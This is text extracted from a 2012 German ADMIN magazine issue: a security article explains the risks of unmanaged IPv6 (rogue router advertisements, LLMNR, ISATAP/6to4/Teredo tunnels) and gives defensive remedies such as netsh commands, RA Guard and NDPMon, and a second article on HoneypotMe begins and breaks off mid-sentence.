(IPsec) verfügbar<br />

n Privacy Extensions (RFC 3041 /RFC<br />

4941) aktiv<br />

n DNS-Unterstützung<br />

n Source and Destination Address Selection<br />

(RFC 3484)<br />

n DHCPv6-Client aktiv<br />

n Link-Local Multicast Name Resolution<br />

(LLMNR)<br />

n Transition Technologies (Tunnel) aktiv<br />

n Windows Firewall ist IPv6-fähig, Stateful<br />

Inspection<br />

Linux<br />

n IPv6 installiert und aktiv<br />

n Stateless Address Autoconfiguration<br />

aktiv (RFC 2462 / RFC 4862)<br />

n GUI- und CLI-Konfiguration<br />

n Privacy Extensions (RFC 3041 / RFC<br />

4941) optional<br />

n DNS-Unterstützung<br />

n Source and Destination Address Selection<br />

(RFC 3484)<br />

n DHCPv6-Client optional<br />

n Multicast-DNS<br />

n Transition Technologies (Miredo) optional<br />

n Firewall: ip6tables, Stateful Inspection<br />

ab Kernel 2.6.20<br />

Mac OS X<br />

n IPv6 installiert und aktiv<br />

n Stateless Address Autoconfiguration<br />

(RFC 2462 / RFC 4862)<br />

n GUI- und CLI-Konfiguration möglich<br />

n Privacy Extensions (RFC 3041 / RFC<br />

4941) optional, ab 10.7 aktiv<br />

n Source and Destination Address Selection<br />

(nach RFC 3484), dabei ist die<br />

administrative Schnittstelle nicht vorhanden<br />

n DHCPv6 ab 10.7<br />

n Multicast-DNS-Unterstützung<br />

n Transition Technology (6to4) optional<br />

n rDNS (RFC5006) ab 10.7<br />

n Firewall: ip6fw – aber kein Konfigurationsmenü<br />

/ Standardeinstellung:<br />

accept<br />

40 Ausgabe 04-2012 Admin www.admin-magazin.de


Unmanaged IPv6<br />

Security<br />

Die iOS-Versionen für iPhone<br />

und iPad haben im Auslieferungszustand<br />

ebenfalls das<br />

IPv6-Protokoll aktiviert. Gleiches<br />

gilt für Smartphones und<br />

Tablet-PCs auf Android-Basis.<br />

In beiden Welten steht dem<br />

Benutzer allerdings keine administrative<br />

Schnittstelle zur<br />

Anpassung der IPv6-Konfiguration<br />

zur Verfügung.<br />

Autokonfiguration<br />

RFC 2462 „IPv6 Stateless<br />

Address Autoconfiguration“<br />

[1] beschreibt innerhalb des im LAN aktiv.<br />

IPv6-Standards die Stateless<br />

Address Autoconfiguration (SLAAC). Die<br />

Implementierung dieser Technik ist für<br />

jeden Host verpflichtend. Weitere Methoden<br />

sind optional und können das<br />

jeweilige Host-Interface mit weiteren<br />

IPv6-Adressen konfigurieren. Bei der Initialisierung<br />

eines LAN-Interfaces werden<br />

folgende vom RFC 2462 vorgesehenen<br />

Stufen durchlaufen:<br />

1. Link-Local Address (EUI-64 IID oder<br />

Pseudozufallszahl) generieren<br />

2. Neighbor Solicitation (NS) für Duplicate<br />

Address Detection (DAD) senden<br />

3. Autoconfiguration abbrechen, falls ein<br />

Neighbor Advertisement (NA) einen Adresskonflikt<br />

anzeigt<br />

4. Router Solicitation (RS) senden<br />

5. Falls kein Router Advertisement (RA)<br />

empfangen wird, starte DHCPv6<br />

6. Falls ein Router Advertisement (RA)<br />

empfangen wird:<br />

6.1. generiere Adressen für die enthaltenen<br />

Prefixe; danach DAD<br />

Abbildung 1: Bei aktuellen Betriebssystemen ist IPv6 ist neben IPv4 per Default<br />

6.2. falls M-Flag == 1 im Router Advertisement<br />

(RA):<br />

6.3. starte DHCPv6, um weitere Adressen<br />

und Parameter zu erhalten<br />

6.4. falls M-Flag == 0 und O-Flag == 1<br />

im Router Advertisement (RA):<br />

6.5. starte DHCPv6, um weitere Konfigurationsparameter<br />

zu erhalten (etwa<br />

DNS-<strong>Server</strong>)<br />

Dieser Autoconfiguration-Prozess im lokalen<br />

Netz hat verschiedene Schwachstellen,<br />

die sich, wenn der Admin sie<br />

nicht zusätzlich absichert, sowohl böswillig<br />

als auch unbeabsichtigt ausnutzen<br />

lassen. Dadurch sind lokale Netzteilnehmer<br />

gefährdet, lange bevor ein regulärer<br />

IPv6-Betrieb aufgenommen wird.<br />

Das größte Gefährdungspotenzial geht<br />

dabei von sogenannten Rogue Routern<br />

aus. Rogue Router manipulieren in böswilliger<br />

oder unbeabsichtigter Weise die<br />

Kommunikation des lokalen Link. Durch<br />

Senden einer initialen Router Solicitation<br />

(Abbildung 2) an die Link Local<br />

Multicast Address FF02::2<br />

versuchen Hosts, im Rahmen<br />

der Stateless Address Autoconfiguration<br />

unternehmensweit<br />

oder weltweit gültige<br />

IPv6-Prefixe zu erhalten, die<br />

mit einem Interface Identifier<br />

zu einer vollständigen 128 Bit-<br />

IPv6-Adresse verknüpft werden.<br />

Damit ist die Kommunikation<br />

über Subnetzgrenzen<br />

hinweg möglich. Auf die gesendete<br />

Anfrage antwortet<br />

im Normalfall der reguläre<br />

IPv6-Router, indem er an die<br />

Link Local Multicast Adresse<br />

FF02::1 (All Nodes) ein Router<br />

Advertisement (Abbildung 3) sendet.<br />

Im Payload trägt diese Nachricht alle am<br />

lokalen Subnetz gültigen IPv6-Prefixe<br />

und weitere Flags, die eine granulare<br />

Konfiguration ermöglichen. Die Router-<br />

Advertisement-Nachricht wird außerdem<br />

periodisch wiederholt.<br />

Rogue Router<br />

Wird nun ein Rogue Router aktiv und<br />

sendet dieser ebenfalls an die Multicast-<br />

Gruppe FF02::1 ein Router Advertisement<br />

(Abbildung 4), wird die Netzwerkkonfiguration<br />

der Hosts manipuliert, sodass<br />

die IP-Adressen und Routingtabellen<br />

nicht den administrativen Vorgaben entsprechen.<br />

Dieses Szenario findet sich in<br />

der Praxis häufig, da Technologien wie<br />

Windows Internet Connection Sharing<br />

(ICS), Software Router in Linux-Derivaten<br />

(»radvd«) oder diverse Tools aus<br />

bekannten Werkzeugsammlungen im<br />

Abbildung 2: Ein Host versucht, durch Senden einer initialen Router-Solicitation<br />

eine weltweit gültige IPv6-Adresse zu erhalten.<br />

Abbildung 3: Im Normalfall antwortet ein regulärer Router auf die Anfrage, indem<br />

er ein Router Advertisement verschickt.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

41


Security<br />

Unmanaged IPv6<br />

Tabelle 1: Auswahl nach RFC 3484<br />

Precedence Label Prefix Beschreibung<br />

50 0 ::1/​128 Loopback<br />

40 1 ::/​0 IPv6-Adressen<br />

30 2 2002::/​16 6to4 Adressen<br />

20 3 ::/​96 IPv4 kompatible Adressen (veraltet)<br />

10 4 ::ffff:0:0/96 IPv4 Adressen (mapped)<br />

5 5 2001::/​32 Teredo<br />

Abbildung 4: Ein Rogue Router bringt ebenfalls Router Advertisements in Umlauf,<br />

die Hosts im LAN verwenden, um daraus IPv6-Adressen für sich zu bilden.<br />

Internet Router Advertisements (RAs)<br />

an die lokalen Kommunikationspartner<br />

ohne großen manuellen Aufwand verteilen.<br />

Werden diese Aktivitäten nicht überwacht,<br />

etabliert sich der Rogue Router als<br />

IPv6 Default Gateway. Darüber hinaus<br />

kann er über bestimmte Flags im Router<br />

Advertisement die DNS-Konfigurationen<br />

der Hosts kontrollieren.<br />

DNS und LLMNR<br />

Anwendungen verwenden in der Regel<br />

eine Resolver Library die zum RFC 3484<br />

[2] kompatibel ist („Default Address Selection<br />

for Internet Protocol version 6<br />

(IPv6)“). Aufgrund der selbstverständlichen<br />

Nutzung von IPv4 und der unbewussten<br />

IPv6-Nutzung ergeben sich<br />

Wechselwirkungen mit den Personal<br />

Firewalls auf den jeweiligen Endsystemen<br />

sowie mit dem Netzwerkmonitoring, da<br />

diese Sicherungsmaßnahmen aktuell auf<br />

IPv4 fokussiert sind.<br />

Abbildung 5 zeigt einen Wireshark Mitschnitt<br />

der Auflösung des Host-Namens<br />

„ibm-r52“ mithilfe des Link Local Multicast<br />

Name Resolution Protocols (LLMNR).<br />

Liefert die DNS-Auflösung keine IP-Adresse,<br />

wird LLMNR in neueren Microsoft<br />

Betriebssystemen als Ergänzung genutzt.<br />

Da Source und Destination Address dem<br />

Link-Local-Scope (fe80::/​10) zuzuordnen<br />

sind, ist das Übertragungsprotokoll IPv6.<br />

Die Tatsache, dass IPv6 aktiviert ist und<br />

LLMNR eine Namensauflösung liefert,<br />

hat zur Folge, dass die anstehenden<br />

Nachrichten nun auch über IPv6 transportiert<br />

werden.<br />

Im schon erwähnten RFC 3484 ist die<br />

Implementierung einer administrativen<br />

Schnittstelle zur Steuerung des bevorzugten<br />

Netzwerkprotokolls<br />

und der<br />

Adressauswahl im<br />

jeweiligen Host-<br />

Betriebssystem gefordert.<br />

Microsoft-Administratoren können<br />

diese Policy über Netsh-Befehle ändern.<br />

Linux-Admins editieren die Datei »/<br />

etc/gai.conf«. Lediglich Apple entspricht<br />

mit seinem OS X nicht der Forderung<br />

des RFC.<br />

Die Auswahlkriterien werden wie in Tabelle<br />

1 zeilenweise definiert und dargestellt.<br />

Einer Adresse wird dabei im Auswahlprozess<br />

nach RFC 3484 die Zeile<br />

mit der bestmöglichen Übereinstimmung<br />

(Prefix) zugeordnet.<br />

Die Spalte »Precedence« gibt einer IPv6<br />

Global Unicast-Adresse den Wert 40, der<br />

IPv6 Loopback Address den Wert 50.<br />

Platzhalter für mögliche IPv4-Adressen<br />

ist der Eintrag ::ffff:0:0/​96 mit der Precedence<br />

10. Aufgrund der höheren Precedence<br />

wird IPv6 bevorzugt. Dabei werden<br />

Source Address und Destination Address<br />

möglichst so ausgewählt, dass der Gültigkeitsbereich<br />

(Global oder Link Local)<br />

übereinstimmt. Die Spalte »Label« steuert<br />

die Zuordnung einer Source Address zu<br />

einer Destination Address, falls mehrere<br />

Adressen zur Auswahl stehen.<br />

Wie bereits weiter oben erwähnt, haben<br />

die im Router Advertisement gesetzen<br />

Flags direkten Einfluss auf die DNS-<br />

Konfiguration der Hosts. Abbildung 6<br />

zeigt ein Router Advertisement, in dem<br />

das gesetzte »OTHER«-Flag signalisiert,<br />

weitere Konfigurationsparameter mittels<br />

Stateless DHCPv6 zu suchen. So kann die<br />

DNS-Konfiguration eines Hosts gesteuert<br />

beziehungsweise manipuliert werden. Alternativ<br />

bietet dazu der RFC 5006 [3] als<br />

neuere Methode an, den DNS-<strong>Server</strong> im<br />

Router Advertisement bekanntzugeben<br />

(Option Recursive DNS <strong>Server</strong>). Allerdings<br />

kann so ein potenzieller <strong>Angreifer</strong><br />

mittels der beschriebenen Techniken die<br />

reguläre DNS-Infrastruktur umgehen.<br />

Das gilt sowohl für die Abbildung der<br />

Host-Namen auf IPv4-Adressen als auch<br />

auf IPv6-Adressen.<br />

In der Microsoft-Welt kann dann wegen<br />

der dynamischen DNS-Updates im Active<br />

Directory und der weiter unten vorgestellten<br />

6to4-Tunnel ungewollt die Kommunikation<br />

über IPv6 erfolgen.<br />

Weitere latente Gefährdungen werden<br />

durch die von Microsoft automatisch<br />

Abbildung 5: Mitschnitt der Auflösung eines Hostnamens mithilfe des Link Local Multicast Name Resolution<br />

Protocols.<br />

42 Ausgabe 04-2012 Admin www.admin-magazin.de


Unmanaged IPv6<br />

Security<br />

aktivierten Tunneltechnologien wie ISA-<br />

TAP, 6to4 und Teredo in die Kommunikationsnetze<br />

getragen. Unübersehbar<br />

sind die intensiven Wechselwirkungen<br />

zwischen IPv6 und dem etablierten Vorgänger<br />

IPv4, da alle Tunneltechnologien<br />

IPv6-Datenverkehr in IPv4 tunneln (Abbildung<br />

7). Damit wird IPv4 zur Link-<br />

Layer-Technologie.<br />

Transition Technologies<br />

Im Folgenden sollen diese Tunnelmechanismen<br />

kurz beschrieben werden.<br />

Intra-Site Automatic Tunnel Addressing<br />

Protocol (ISATAP) wird von Microsoft-<br />

Betriebssystemen bevorzugt, wenn keine<br />

native IPv6-Konfiguration innerhalb des<br />

SLAAC-Prozesses ermittelt wurde. Eine<br />

wichtige Rolle spielt der ISATAP-Router,<br />

der im IPv4-Netz kontaktiert wird. Den<br />

wesentlichen Schritt bildet dabei die Auflösung<br />

des Host-Namens »isatap« in eine<br />

gültige IPv4 Router-Adresse. Danach werden<br />

über Router Solicitation und Router<br />

Advertisements die notwendigen IPv6-<br />

Initialisierungsschritte durchlaufen. Ein<br />

wichtiger Unterschied ist aber, dass diese<br />

IPv6-Initialisierung als IPv4-Unicast (IP-<br />

Protokoll 41) im Netzwerk übertragen<br />

wird. Danach sind ISATAP-Hosts adjazent<br />

(benachbart) zu allen nativen IPv6-<br />

Netzen.<br />

Falls weder SLAAC noch ISATAP eine<br />

erfolgreiche IPv6-Konnektivität herstellen,<br />

wird 6to4 als Tunneltechnologie<br />

ausgewählt. Jeder Host eines Intranets<br />

mit offiziellen IPv4-Adressen (Class A/​<br />

B/​C) kann eine 6to4-Adresse generieren.<br />

Sie setzt sich zusammen aus dem Prefix<br />

2002::/​16 und der offiziellen IPv4-Adresse<br />

des Hosts. Damit sind alle Hosts in<br />

einem Intranet lokal adjazent und haben<br />

zudem über das IPv4-Protokoll 41 Zugriff<br />

auf das weltweite IPv6-Netz. Zentrale Sicherheitsmaßnahmen,<br />

wie zum Beispiel<br />

Firewalls, die den Transport dieses Protokolls<br />

nicht unterbinden, sind somit<br />

auch nicht in der Lage, die Sicherheit<br />

des Netzes in ausreichendem Maße zu<br />

gewährleisten. Welches zusätzliche Potenzial<br />

in diesem Mechanismus steckt,<br />

zeigt die Kombination aus Internet Connection<br />

Sharing (ICS) und 6to4: Aktiviert<br />

ein Windows Benutzer ICS, wird das System<br />

zum 6to4-Host-Router und verteilt<br />

im lokalen Netz Router Advertisements,<br />

Weil den IPv6-Basiskonzepten Sicherheitsvorkehrungen<br />

fehlen, ergeben sich<br />

die beschriebenen Gefährdungen, denen<br />

der Admin durch adäquate Maßnahmen<br />

ent<strong>gegen</strong>gewirken muss. Das Dokument<br />

[5] fordert zwingend, dass Layer 2 Switwodurch<br />

dieses System zum aktiven IPv6<br />

Router im lokalen Netz wird, der eine<br />

Verbindung zwischen Intranet und Internet<br />

herstellen kann.<br />

Teredo und Miredo<br />

Die Last Resort Transition Technology ist<br />

im RFC 4380 „Teredo: Tunneling IPv6<br />

over UDP through Network Address<br />

Translations (NATs)“ [4] beschrieben.<br />

Als Open-Source-Lösung steht das Paket<br />

Miredo zur Verfügung. Ist explizit eine<br />

IPv6-Zieladresse spezifiziert, so werden<br />

mit externen <strong>Server</strong>n sogenannte Bubble-<br />

Packets ausgetauscht, die wiederum die<br />

notwendigen Portöffnungen in den NAT-<br />

Geräten verursachen. Damit sind die<br />

Hosts als IPv6-System erreichbar, und<br />

NAT ist keine Barriere mehr zwischen<br />

Internet und lokalem Netz. Die Übertragung<br />

im lokalen IPv4 Netz erfolgt als<br />

UDP-Datagram über Port 3544. Durch<br />

die in der Client-IPv6-Adresse kodierten<br />

IPv4-Informationen (IPv4-Adresse des<br />

<strong>Server</strong>s / NAT-Typ / Externer IPv4 Port /<br />

Externe IPv4-Adresse) kann der bidirektionale<br />

Verkehrsfluss mittels IPv4-UDP<br />

vom Client über ein Relay zum externen<br />

IPv6-Rechner ermöglicht werden. Kollaborative<br />

Filesharing-Protokolle können<br />

den Teredo-basierten Transfer nutzen.<br />

Neben diesen Mechanismen bieten Tunnel<br />

Broker (SixXS, Hurricane Electric) weitere<br />

Möglichkeiten der IPv6-Anbindung.<br />

Die Übertragungsvarianten basieren oftmals<br />

auf UDP oder 6in4, um einen Relay<br />

des jeweiligen Anbieters zu erreichen.<br />

Innerhalb eines Unternehmensnetzwerks<br />

besteht die Gefahr, dass unbedarfte Anwender<br />

Verbindungen des lokalen Netzes<br />

zum weltweiten IPv6-Internet herstellen.<br />

Die Tunnel-Broker weisen in der Regel<br />

nach einer Registrierung dem Kunden<br />

großzügig IPv6-Prefixe zu. Diese können<br />

wiederum durch einen Rogue Router im<br />

lokalen Netz verteilt werden und mit den<br />

global gültigen Adressen lässt sich weltweit<br />

im IPv6-Netz kommunizieren.<br />

Die Tunnelmechanismen zeigen deutlich,<br />

dass durch die Übertragung in IPv4 die<br />

Kommunikationsbeziehungen nur schwer<br />

zu analysieren sind. Punkt-zu-Punkt-Verbindungen<br />

sind auch im Regelwerk einer<br />

Firewall deshalb neu zu bewerten, da<br />

ungewollt weltweite Adjazenzen gebildet<br />

werden, die eine etablierte Sicherheitspolicy<br />

untergraben. Treffen verschiedene<br />

Bedingungen wie eine nicht administrierte<br />

Namensauflösung, fehlkonfigurierte<br />

Hosts mit Windows ICS und eine<br />

nur auf IPv4 ausgerichtete Firewall-Policy<br />

aufeinander, können die Folgen gravierend<br />

sein. Einen Gipfelpunkt stellt dabei<br />

das Potenzial eines MitM-Angriffs durch<br />

ungewollte oder absichtliche Verkehrsumleitungen<br />

dar.<br />

Lösungen<br />

Abbildung 6: Das Router Advertisement mit gesetztem OTHER-Flag beeinflusst direkt die DNS-Konfiguration<br />

eines Hosts.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

43


Security<br />

Unmanaged IPv6<br />

natives IPv6-Deployment erfolgt. Ansonsten<br />

ist für die Microsoft Betriebssysteme<br />

die Deaktivierung dieser Technologien<br />

zu empfehlen. Der System-Administrator<br />

führt dazu folgenden Befehle aus:<br />

netsh interface ipv6 6to4 U<br />

set state disabled undoonstop=disabled<br />

netsh interface ipv6 isatap U<br />

set state disabled<br />

netsh interface ipv6 set teredo U<br />

disable<br />

Abbildung 7: Automatisch aktivierte Tunnel-Technologien verpacken IPv6 in IPv4.<br />

ches Router Advertisements filtern können.<br />

Erste Erfahrungen zeigen, dass auch<br />

führende Hersteller diese Funktion leider<br />

nur in neuesten Hard- und Software-Versionen<br />

unterstützen. Falls Layer-2-Devices<br />

pro Port eine Zugriffskontrollliste schalten<br />

können, so ist das eine effektive Maßnahme<br />

<strong>gegen</strong> Rogue Router und Rogue<br />

DHCPv6-Advertisements. Der RFC 6104<br />

„Rogue IPv6 RA Statement“ [6] liefert<br />

eine umfassende Zusammenstellung der<br />

Problematik. Aktuell arbeiten die Hersteller<br />

an Lösungen, die unter dem Stichwort<br />

First-Hop-Security die Stateless Address<br />

Autoconfiguration absichern. Unverzichtbar<br />

sind in Zukunft Funktionen wie IPv6<br />

RA Guard, IPv6 ND Inspection und Device<br />

Tracking.<br />

Gegenwehr<br />

Listing 1: IPv6-Einstellungen im AD<br />

01 Enable all IPv6 components (Windows default)<br />

02 Disable all IPv6 components<br />

03 Disable 6to4<br />

04 Disable ISATAP<br />

05 Disable Teredo<br />

06 Disable Teredo and 6to4<br />

07 Disable all tunnel interfaces<br />

08 Disable all LAN and PPP interfaces<br />

09 Disable all LAN, PPP and tunnel interfaces<br />

10 Prefer IPv4 over IPv6<br />

Das Tool Ramond (University of Southhampton)<br />

kann Router Advertisements<br />

als Antwort auf Rogue Router Advertisements<br />

generieren, die die Konfigurationsparameter<br />

aus der Stateless Address<br />

Autoconfiguration (SLAAC) verwerfen.<br />

Dazu müssen Router und Preferred Lifetime<br />

im RA den Wert Null haben. Natürlich<br />

sind alle Adressen (Layer 2 und<br />

Layer 3) in diesem Advertisement vorgetäuscht<br />

(spoofed). Empfängt ein Host ein<br />

solches Router Advertisement, verwirft<br />

er die dazugehörigen IPv6-Adressen und<br />

Routing-Einträge. Die im vorhergehenden<br />

Abschnitt beschriebenen Zugriffskontrolllisten<br />

verhindern eine böswillige<br />

Nutzung des Tools.<br />

In Subnetzen, die lediglich IPv4-Funktionalität<br />

haben, kann ein NDPMON-<strong>Server</strong><br />

installiert werden. Dieser Neighbor Discovery<br />

Monitor führt eine Historie über<br />

die Zuordnung von RFC-3041-IPv6-Adressen<br />

und Mac-Adressen und kann unter<br />

anderem über empfangene Rogue Router<br />

Advertisements informieren.<br />

Personal Firewalls sollten entsprechend<br />

den Empfehlungen des RFC 4890 „Recommendations<br />

for Filtering ICMPv6<br />

Messages in Firewalls“ [7] konfiguriert<br />

werden. Unter den Microsoft Betriebssystemen<br />

ist die eigene Microsoft Firewall<br />

empfehlenswert, da diese Stateful Inspection<br />

für IPv4 und IPv6 bietet und auch<br />

die Transition Technologies korrekt verarbeitet.<br />

Eine Verbesserung wäre in Form<br />

einer Weiterentwicklung der bisherigen<br />

Netzwerkerkennung denkbar, um eine<br />

persistente Bindung zwischen den Adressen<br />

(Layer 2 und Layer3) eines regulären<br />

Routers und der Windows-Firewall einmalig<br />

pro Subnetz einzurichten. Linux-<br />

Administratoren verfügen seit Kernel 2.6<br />

mit »ip6tables« ebenfalls über eine Stateful<br />

Inspection Firewall.<br />

Der auf dieser Basis adminstrierte IPv6-<br />

Betrieb stellt auch die erste Lösung <strong>gegen</strong><br />

die vorgestellten Transition Technologies<br />

dar, weil die nur aktiv werden, wenn kein<br />

Anschließend ist ein Neustart erforderlich.<br />

In einer AD-Umgebung können die<br />

Einstellungen zental verwaltet werden.<br />

Unter »Computer Configuration | Policies<br />

| Administrative Templates | Network |<br />

IPv6 Configuration« können die IPv6-Einstellungen<br />

aus Listing 1 gewählt werden.<br />

Weiterhin sollten das Protokoll 6in4 und<br />

die Teredo-Kommunikation in Firewalls<br />

und Routern geblockt werden.<br />

Fazit<br />

Aufgrund der Erfahrungen aus dem lokalen<br />

Unternehmensnetzwerk stellt sich IPv6<br />

zunächst als eine Zusatzbelastung für die<br />

Netzadministration dar. Darüber hinaus<br />

ergibt sich durch das latente Gefährdungspotenzial<br />

und die De-facto-Nutzung des<br />

Protokolls ein Schulungs- und Trainingsbedarf<br />

für Administratoren und Benutzer.<br />

Zudem ist eine zentral koordinierte Einführung<br />

des neuen Protokolls von großer<br />

Bedeutung für den störungsfreien Betrieb.<br />

Wegen der Komplexität sollte man den<br />

Zeitfaktor nicht unterschätzen und frühzeitig<br />

mit den Planungen beginnen. IPv6<br />

zu ignorieren, ist jedenfalls gefährlich.<br />

(jcb)<br />

n<br />

Infos<br />

[1] RFC 2462: [http:// www. ietf. org/ rfc/​<br />

rfc2462. txt]<br />

[2] RFC 3484: [http:// www. ietf. org/ rfc/​<br />

rfc3484. txt]<br />

[3] RFC 5006: [http:// tools. ietf. org/ html/​<br />

rfc5006]<br />

[4] RFC 4380: [http:// www. ietf. org/ rfc/​<br />

rfc4380. txt]<br />

[5] IPv6-Sicherheitsanforderungen: [http://​<br />

www. ripe. net/ ripe/ docs/ ripe‐501]<br />

[6] RFC 6104: [http:// tools. ietf. org/ html/​<br />

rfc6104]<br />

[7] RFC 4890: [http:// www. ietf. org/ rfc/​<br />

rfc4890. txt]<br />

44 Ausgabe 04-2012 Admin www.admin-magazin.de


Alle Ausgaben der letzTen 12 Monate<br />

Sie haben ein Admin verpasst? Kein Problem!<br />

Bei uns können Sie alle Ausgaben des <strong>ADMIN</strong> <strong>Magazin</strong><br />

der letzten 12 Monate ganz einfach und versandkostenfrei<br />

unter www.admin-magazin.de/einzelheft nachbestellen:<br />

<strong>ADMIN</strong> 04/2011 <strong>ADMIN</strong> 05/2011 <strong>ADMIN</strong> 06/2011<br />

<strong>ADMIN</strong> 01/2012 <strong>ADMIN</strong> 02/2012 <strong>ADMIN</strong> 03/2012<br />

Damit Sie keine Ausgabe mehr verpassen,<br />

bestellen Sie am besten gleich ein Abo<br />

vom <strong>ADMIN</strong> <strong>Magazin</strong> und sparen:<br />

Telefonisch unter: 07131 / 2707 274,<br />

per Fax: 07131 / 2707 78 601 oder<br />

E-Mail: abo@admin-magazin.de,<br />

Web: www.admin-magazin.de/abo


security<br />

HoneypotMe<br />

© monphoto, 123RF<br />

Effektivere Honeypots durch Sensoren auf Produktivsystemen<br />

Fallensteller<br />

Computer sind heute einer stark wachsenden Bedrohung durch automatisierte Schadprogramme ausgesetzt. Ein<br />

Mittel, diese zu entlarven, sind sogenannte Honeypots. Damit sie möglichst viele Schädlinge leimen, lassen sich<br />

ihre Sensoren auch auf gewöhnliche Produktivsysteme verteilen. Jan Gassen, Elmar Gerhards-Padill<br />

Die Anzahl automatisierter Schadprogramme,<br />

die sich selbstständig über das<br />

Internet verbreiten, ist gerade in den<br />

letzten Jahren explodiert (Abbildung 1).<br />

Einzelne Quellen berichten von über 286<br />

Millionen neuen Schadprogrammen, die<br />

alleine im Jahr 2010 registriert wurden.<br />

Dabei ist die Dunkelziffer noch gar nicht<br />

berücksichtigt.<br />

Tatsächlich bringen viele dieser neuen<br />

Schadprogramme gar keine neuartigen<br />

Funktionen mit, sondern verwenden<br />

stattdessen poly- oder metamorphen<br />

Code, der regelmäßig neue, leicht veränderte<br />

Varianten eines Schadprogramms<br />

mit praktisch identischer Funktion generiert.<br />

Das verändert die Struktur des<br />

Schadprogramms so, dass es klassische,<br />

signaturbasierte Erkennungsverfahren<br />

nicht länger finden. Um dennoch eine<br />

signaturbasierte Erkennung zu ermöglichen,<br />

wie sie etwa Virenscanner oder<br />

Intrusion Detection Systeme verwenden,<br />

sind regelmäßig aktualisierte Signaturdatenbanken<br />

erforderlich. Um alle neu<br />

erkannten Schadprogramme eindeutig<br />

einer solchen Signatur zuordnen zu<br />

können, wären dazu jedoch im Schnitt<br />

mehr als 38 neue Signaturen pro Minute<br />

nötig.<br />

Diese Zahl macht deutlich, dass signaturbasierte<br />

Verfahren allein nicht alle aktuellen<br />

Schadprogramme zuverlässig zu<br />

erkennen vermögen.<br />

Neue Erkennungsmethoden<br />

Um die Verbreitung solcher Schadprogramme<br />

dennoch zu registrieren, benötigt<br />

man zusätzlich andere Erkennungsmethoden<br />

wie zum Beispiel Honeypots.<br />

Sie sind in der Lage, auch unbekannte<br />

Angriffe ohne die Hilfe von Signaturen zu<br />

registrieren, wenn sie auf eine der extra<br />

bereitgestellten Verwundbarkeiten abzielen.<br />

Da Honeypots jedoch ausschließlich<br />

direkte Angriffe auf ihre eigenen Ressourcen<br />

erkennen, stößt eine umfassende<br />

Netzüberwachung mit ihrer Hilfe oft an<br />

Kapazitätsgrenzen. Das betrifft sowohl<br />

den Administrations- wie den Auswerteaufwand.<br />

Einen Ausweg bietet ein neuartiger<br />

Ansatz, den dieser Beitrag vorstellen<br />

möchte.<br />

Ob Honeypots Angriffe registrieren können,<br />

hängt letztlich auch davon ab, ob<br />

es einem <strong>Angreifer</strong> möglich ist, den Honeypot<br />

als solchen zu erkennen. Das gilt<br />

insbesondere für menschliche, technisch<br />

versierte <strong>Angreifer</strong>. Verfügen sie etwa<br />

über Informationen über die Netzinfrastruktur<br />

oder die Adresse des für sie interessanten<br />

Systems, können sie so vorgehen,<br />

dass der Honeypot den Angriff nicht<br />

erkennt. Verfügt der <strong>Angreifer</strong> da<strong>gegen</strong><br />

über keine detaillierten Informationen<br />

über das angegriffene Netz, wird er typischer<br />

Weise versuchen, mithilfe aktiver<br />

Scan-Verfahren potenziell verwundbare<br />

Dienste aufzuspüren.<br />

Eine zweite Gefahr besteht darin, dass<br />

der <strong>Angreifer</strong> den Honeypot an der charakteristischen<br />

Auswahl an Diensten erkennt,<br />

die er anbietet. Diesem Problem<br />

kann man begegnen, indem man die<br />

Honeypots in regelmäßigen Abständen<br />

an reale Produktivsysteme anpasst. Das<br />

bringt jedoch zusätzlichen Aufwand und<br />

eine Einschränkung der Sichtbarkeit einzelner<br />

Honeypots mit sich.<br />

HoneypotMe<br />

Um dennoch eine umfassende Netzüberwachung<br />

auf Basis von Honeypots<br />

zu ermöglichen, basiert der Ansatz von<br />

HoneypotMe darauf, Honeypot-Sensorik<br />

flexibel auf Produktivsysteme auszulagern.<br />

Konkret bewerkstelligt das die Software<br />

dadurch, dass sie einzelne Ports<br />

46 Ausgabe 04-2012 Admin www.admin-magazin.de


HoneypotMe<br />

security<br />

Antwortnachrichten gelangen anschließend<br />

über den Tunnel zurück an das<br />

angegriffene System, das sie an das angreifende<br />

System weiterleitet. Der Vorteil<br />

solcher getunnelter Verbindungen <strong>gegen</strong>über<br />

einer Proxy-Lösung besteht darin,<br />

dass die Analysekomponente sowohl<br />

Informationen über das angreifende als<br />

auch über das angegriffene System erals<br />

Honeypot verwendet. Tatsächlich<br />

stellen viele Produk-<br />

80 000 000<br />

tivsysteme nämlich nur eine<br />

70 000 000<br />

geringe Anzahl von Diensten<br />

60 000 000<br />

bereit, die über das Netz erreichbar<br />

und so von Schadprogrammen<br />

oder manuellen<br />

50 000 000<br />

<strong>Angreifer</strong>n ausnutzbar sind.<br />

40 000 000<br />

Ist ein solcher Dienst auf einem<br />

Produktivsystem nicht<br />

30 000 000<br />

verfügbar, so sollte auch keine 20 000 000<br />

Interaktion mit dem entsprechenden<br />

Port feststellbar sein.<br />

10 000 000<br />

Kommt es dennoch zu Zugriffsversuchen,<br />

so wird der<br />

Verbindungsaufbauversuch<br />

in der Regel automatisch vom<br />

TCP-Stack des angegriffenen<br />

Systems abgelehnt oder bereits<br />

vorher von entsprechend restriktiven<br />

Firewall-Regeln blockiert. In beiden<br />

Fällen können jedoch keine weiteren<br />

Informationen über den fehlgeschlagenen<br />

Versuch gesammelt werden, auch<br />

wenn dies möglich gewesen wäre. Wäre<br />

die Verbindung stattdessen von einem<br />

Honeypot angenommen und ausgewertet<br />

worden, so hätte er einen möglichen<br />

Infektionsversuch direkt erkannt. Es liegt<br />

also nahe, solche ungenutzten Ports auch<br />

auf Produktivsystemen als Honeypot zu<br />

verwenden und so unerwünschte Verbindungen<br />

detailliert auszuwerten.<br />

Risikolos weiterleiten<br />

Eine Auswertung eingehender Verbindungen<br />

auf geschlossenen Ports direkt<br />

auf den betroffenen Produktivsystemen<br />

würde jedoch auch ein erhöhtes Sicherheitsrisiko<br />

sowie einen zusätzlichen Ressourcenbedarf<br />

für das Produktivsystem<br />

bedeuten. Gleichzeitig ergäbe sich so ein<br />

ähnlicher administrativer Aufwand durch<br />

nötige Aktualisierungen wie durch den<br />

Einsatz dedizierter Honeypots. Schließlich<br />

würde durch den Einsatz<br />

von Honeypot-Software auf<br />

Produktivsystemen ein zusätzliches<br />

Sicherheitsrisiko<br />

für die betroffenen Systeme<br />

entstehen. Denn schließlich<br />

könnte es <strong>Angreifer</strong>n gelingen,<br />

Sicherheitslücken in der<br />

